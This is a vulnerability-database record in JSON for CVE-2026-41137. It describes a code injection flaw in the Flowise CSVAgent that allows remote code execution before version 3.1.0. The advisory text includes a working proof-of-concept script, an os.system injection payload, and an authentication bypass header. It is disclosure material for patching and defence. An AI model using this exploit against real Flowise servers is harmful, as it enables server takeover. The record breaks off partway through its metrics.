{"id":"CVE-2026-41137","revision":null,"records":[{"revision":"21b6749b811e404c8f4cbed0474952c1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41137","aliases":[],"title":"Flowise: Code Injection in CSVAgent leads to Authenticated RCE","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide a command injection payload that will get interpolated and executed by the server. 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Prior to 3.1.0, The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide a command injection p…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide a command injection payload that will get interpolated and executed by the server. This vulnerability is fixed in 3.1.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"severity":null}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9wc7-mj3f-74xv"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-25277","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 23, 2026, 7:10:37 PM","dateUpdated":"Apr 23, 2026, 8:20:30 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41137","identifiers":["CVE-2026-41137"]},"retained":false,"historicalAffected":[]},{"revision":"78ad47fae850450192ab4ae779a832e9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9wc7-mj3f-74xv","aliases":["CVE-2026-41137"],"title":"Flowise: Code Injection in CSVAgent leads to Authenticated RCE","description":"### Summary\nThe CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server.\n\n### Details\nThe code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]).\n`customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`.\nAn authenticated attacker can issue the following chain of requests:\n\n1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response.\n2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.\n3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow.\n\nSince `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren't set, it's sufficient to provide the `\"x-request-from\": \"internal\"` header to bypass authentication.\n\n### PoC\nHere's the PoC code:\n```\nconst PORT = 3000;\nconst FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;\nconst PREDICTION_URL = '/api/v1/prediction';\nconst CHATFLOWS_URL = '/api/v1/chatflows';\n\nconst flowData = JSON.parse(\"{\\\"nodes\\\":[{\\\"id\\\":\\\"csvAgent_0\\\",\\\"position\\\":{\\\"x\\\":681,\\\"y\\\":212},\\\"type\\\":\\\"customNode\\\",\\\"data\\\":{\\\"label\\\":\\\"CSV Agent\\\",\\\"name\\\":\\\"csvAgent\\\",\\\"version\\\":3,\\\"type\\\":\\\"AgentExecutor\\\",\\\"category\\\":\\\"Agents\\\",\\\"icon\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\\\",\\\"description\\\":\\\"Agent used to answer queries on CSV data\\\",\\\"baseClasses\\\":[\\\"AgentExecutor\\\",\\\"BaseChain\\\",\\\"Runnable\\\"],\\\"inputs\\\":{\\\"csvFile\\\":\\\"\\\",\\\"model\\\":\\\"{{openAI_0.data.instance}}\\\",\\\"systemMessagePrompt\\\":\\\"\\\",\\\"inputModeration\\\":\\\"\\\",\\\"customReadCSV\\\":\\\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\\\"},\\\"filePath\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\\\",\\\"inputAnchors\\\":[{\\\"label\\\":\\\"Language Model\\\",\\\"name\\\":\\\"model\\\",\\\"type\\\":\\\"BaseLanguageModel\\\",\\\"id\\\":\\\"csvAgent_0-input-model-BaseLanguageModel\\\"},{\\\"label\\\":\\\"Input Moderation\\\",\\\"description\\\":\\\"Detect text that could generate harmful output and prevent it from being sent to the language model\\\",\\\"name\\\":\\\"inputModeration\\\",\\\"type\\\":\\\"Moderation\\\",\\\"optional\\\":true,\\\"list\\\":true,\\\"id\\\":\\\"csvAgent_0-input-inputModeration-Moderation\\\"}],\\\"inputParams\\\":[{\\\"label\\\":\\\"Csv File\\\",\\\"name\\\":\\\"csvFile\\\",\\\"type\\\":\\\"file\\\",\\\"fileType\\\":\\\".csv\\\",\\\"id\\\":\\\"csvAgent_0-input-csvFile-file\\\"},{\\\"label\\\":\\\"System Message\\\",\\\"name\\\":\\\"systemMessagePrompt\\\",\\\"type\\\":\\\"string\\\",\\\"rows\\\":4,\\\"additionalParams\\\":true,\\\"optional\\\":true,\\\"placeholder\\\":\\\"I want you to act as a document that I am having a conversation with. Your name is \\\\\\\"AI Assistant\\\\\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\\\\\"Hmm, I am not sure.\\\\\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\\\",\\\"id\\\":\\\"csvAgent_0-input-systemMessagePrompt-string\\\"},{\\\"label\\\":\\\"Custom Pandas Read_CSV Code\\\",\\\"description\\\":\\\"Custom Pandas <a target=\\\\\\\"_blank\\\\\\\" href=\\\\\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\\\\\">read_csv</a> function. Takes in an input: \\\\\\\"csv_data\\\\\\\"\\\",\\\"name\\\":\\\"customReadCSV\\\",\\\"default\\\":\\\"read_csv(csv_data)\\\",\\\"type\\\":\\\"code\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"csvAgent_0-input-customReadCSV-code\\\"}],\\\"outputs\\\":{},\\\"outputAnchors\\\":[{\\\"id\\\":\\\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\\\",\\\"name\\\":\\\"csvAgent\\\",\\\"label\\\":\\\"AgentExecutor\\\",\\\"description\\\":\\\"Agent used to answer queries on CSV data\\\",\\\"type\\\":\\\"AgentExecutor | BaseChain | Runnable\\\"}],\\\"id\\\":\\\"csvAgent_0\\\",\\\"selected\\\":false},\\\"width\\\":300,\\\"height\\\":464,\\\"selected\\\":true,\\\"dragging\\\":false,\\\"positionAbsolute\\\":{\\\"x\\\":681,\\\"y\\\":212}},{\\\"id\\\":\\\"openAI_0\\\",\\\"position\\\":{\\\"x\\\":238.83389711655053,\\\"y\\\":233.09962591816395},\\\"type\\\":\\\"customNode\\\",\\\"data\\\":{\\\"loadMethods\\\":{},\\\"label\\\":\\\"OpenAI\\\",\\\"name\\\":\\\"openAI\\\",\\\"version\\\":4,\\\"type\\\":\\\"OpenAI\\\",\\\"icon\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\\\",\\\"category\\\":\\\"LLMs\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models\\\",\\\"baseClasses\\\":[\\\"OpenAI\\\",\\\"BaseLLM\\\",\\\"BaseLanguageModel\\\",\\\"Runnable\\\"],\\\"credential\\\":\\\"\\\",\\\"inputs\\\":{\\\"cache\\\":\\\"\\\",\\\"modelName\\\":\\\"gpt-3.5-turbo-instruct\\\",\\\"temperature\\\":0.7,\\\"maxTokens\\\":\\\"\\\",\\\"topP\\\":\\\"\\\",\\\"bestOf\\\":\\\"\\\",\\\"frequencyPenalty\\\":\\\"\\\",\\\"presencePenalty\\\":\\\"\\\",\\\"batchSize\\\":\\\"\\\",\\\"timeout\\\":\\\"\\\",\\\"basepath\\\":\\\"\\\",\\\"baseOptions\\\":\\\"\\\"},\\\"filePath\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\\\",\\\"inputAnchors\\\":[{\\\"label\\\":\\\"Cache\\\",\\\"name\\\":\\\"cache\\\",\\\"type\\\":\\\"BaseCache\\\",\\\"optional\\\":true,\\\"id\\\":\\\"openAI_0-input-cache-BaseCache\\\"}],\\\"inputParams\\\":[{\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"type\\\":\\\"credential\\\",\\\"credentialNames\\\":[\\\"openAIApi\\\"],\\\"id\\\":\\\"openAI_0-input-credential-credential\\\"},{\\\"label\\\":\\\"Model Name\\\",\\\"name\\\":\\\"modelName\\\",\\\"type\\\":\\\"asyncOptions\\\",\\\"loadMethod\\\":\\\"listModels\\\",\\\"default\\\":\\\"gpt-3.5-turbo-instruct\\\",\\\"id\\\":\\\"openAI_0-input-modelName-asyncOptions\\\"},{\\\"label\\\":\\\"Temperature\\\",\\\"name\\\":\\\"temperature\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"default\\\":0.7,\\\"optional\\\":true,\\\"id\\\":\\\"openAI_0-input-temperature-number\\\"},{\\\"label\\\":\\\"Max Tokens\\\",\\\"name\\\":\\\"maxTokens\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-maxTokens-number\\\"},{\\\"label\\\":\\\"Top Probability\\\",\\\"name\\\":\\\"topP\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-topP-number\\\"},{\\\"label\\\":\\\"Best Of\\\",\\\"name\\\":\\\"bestOf\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-bestOf-number\\\"},{\\\"label\\\":\\\"Frequency Penalty\\\",\\\"name\\\":\\\"frequencyPenalty\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-frequencyPenalty-number\\\"},{\\\"label\\\":\\\"Presence Penalty\\\",\\\"name\\\":\\\"presencePenalty\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-presencePenalty-number\\\"},{\\\"label\\\":\\\"Batch Size\\\",\\\"name\\\":\\\"batchSize\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-batchSize-number\\\"},{\\\"label\\\":\\\"Timeout\\\",\\\"name\\\":\\\"timeout\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-timeout-number\\\"},{\\\"label\\\":\\\"BasePath\\\",\\\"name\\\":\\\"basepath\\\",\\\"type\\\":\\\"string\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-basepath-string\\\"},{\\\"label\\\":\\\"BaseOptions\\\",\\\"name\\\":\\\"baseOptions\\\",\\\"type\\\":\\\"json\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-baseOptions-json\\\"}],\\\"outputs\\\":{},\\\"outputAnchors\\\":[{\\\"id\\\":\\\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\\\",\\\"name\\\":\\\"openAI\\\",\\\"label\\\":\\\"OpenAI\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models\\\",\\\"type\\\":\\\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\\\"}],\\\"id\\\":\\\"openAI_0\\\",\\\"selected\\\":false},\\\"width\\\":300,\\\"height\\\":574,\\\"selected\\\":false,\\\"positionAbsolute\\\":{\\\"x\\\":238.83389711655053,\\\"y\\\":233.09962591816395},\\\"dragging\\\":false}],\\\"edges\\\":[{\\\"source\\\":\\\"openAI_0\\\",\\\"sourceHandle\\\":\\\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\\\",\\\"target\\\":\\\"csvAgent_0\\\",\\\"targetHandle\\\":\\\"csvAgent_0-input-model-BaseLanguageModel\\\",\\\"type\\\":\\\"buttonedge\\\",\\\"id\\\":\\\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\\\"}],\\\"viewport\\\":{\\\"x\\\":73.92828909845196,\\\"y\\\":-4.475777844396191,\\\"zoom\\\":0.7371346086455504}}\");\nconst payload = {\"name\":\"CSV PWN\",\"deployed\":false,\"isPublic\":false,\"flowData\":JSON.stringify(flowData),\"type\":\"CHATFLOW\"};\n\n// Create chatflow.\nlet res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {\n    method: \"POST\",\n    headers: {\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": \"Bearer <your-api-key>\"\n        //Alternative: \"x-request-from\": \"internal\"\n    },\n    body: JSON.stringify(payload)\n});\n\nlet resJson = await res.json();\nlet chatflowId = resJson?.id;\n\n// Trigger vuln.\nawait fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {\n    method: \"POST\",\n    headers: {\n        \"Content-Type\": \"application/json\"\n    },\n    body: JSON.stringify({\"question\": \"whoami?\"})\n});\n\n// Cleanup.\nawait fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {\n    method: \"DELETE\",\n    headers: {\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": \"Bearer <your-api-key>\"\n        //Alternative: \"x-request-from\": \"internal\"\n    }\n});\n```\n\n### Impact\nThis results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.","state":0,"publishedAt":"2026-04-16T21:44:15+00:00","modifiedAt":"2026-05-05T16:11:36.569204+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"flowise-components","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher 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